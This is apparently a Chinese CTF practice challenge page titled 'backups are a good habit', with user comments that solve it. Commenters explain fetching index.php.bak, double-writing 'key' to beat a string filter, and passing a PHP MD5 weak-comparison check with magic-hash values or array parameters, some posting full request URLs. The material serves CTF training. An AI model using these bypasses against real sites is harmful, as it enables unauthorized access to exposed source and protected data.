备份是个好习惯WEB 未解决

分数: 20 金币: 2
题目作者: harry
一  血: dotast
一血奖励: 1金币
解  决: 15009
提  示:
描  述:
备份是个好习惯
评论
wangsir 12天前

访问备份文件index.php.bak

回复 0

__tian__ 22天前

http://160.202.254.160:19967/?kkeyey1=s878926199a&kkeyey2=s155964671a

回复 0

关灯吃面 27天前

?kkeyey1[]=1&kkeyey2[]=2

回复 1

浩天 27天前

flag{**********}

回复 0

zhouzzz 1月前

?kekeyy1=QNKCDZO&kekeyy2=aabg7XSs

回复 0

Yus 1月前

写?kkeyey1=QNKCDZO&kkeyey2=240610708

回复 0

王永诺诺 1月前

没有思路,索性联想index.php的备份形式index.bak和index.php.bak,结果试出来了。后面根据文件代码得知会对"key"执行一次替换,故构造的请求携带变量应是kkeyey1和kkeyey2。且key1和key2的md5值弱比较,key1本身不等于key2。

回复 1
qqai 22天前

回复 0

icyskin 1月前

http://160.202.254.160:12116/?kkeyey1=QNKCDZO&kkeyey2=s878926199a

回复 0

青云07 1月前

直接/?kkeyey1[]=a&kkeyey2[]=b

回复 2

月明不及长安 2月前

通过题目提示得到备份文件后 分析代码可知 输入key会被替换为空(双写绕过)只要key1 != key2 且 key1的MD5弱等于 key2的MD5值就可得到flag

回复 0
eterhrtrte 1月前

为什么我的dirsearch扫不出来

回复 0

WriteUp

image
harry

2 金币

评分(20)

解题动态

Ann 攻破了该题 31分钟前
zhuww 攻破了该题 2小时前
丶旧城 攻破了该题 2小时前
h1165156121 攻破了该题 3小时前
liuyangdtc· 攻破了该题 5小时前
ppz72 攻破了该题 5小时前
ijoaole 攻破了该题 5小时前
王翰亮123 攻破了该题 8小时前
anbd 攻破了该题 8小时前
yuningzhang 攻破了该题 11小时前
i8vkmmju 攻破了该题 20小时前
白色狸花猫 攻破了该题 1天前
feel 攻破了该题 1天前
SheYu 攻破了该题 1天前
lionkill 攻破了该题 1天前
jiangqi 攻破了该题 1天前
MirrorHack 攻破了该题 1天前
lixing123 攻破了该题 1天前
再开一局 攻破了该题 1天前
夜蝈蝈 攻破了该题 1天前
问题反馈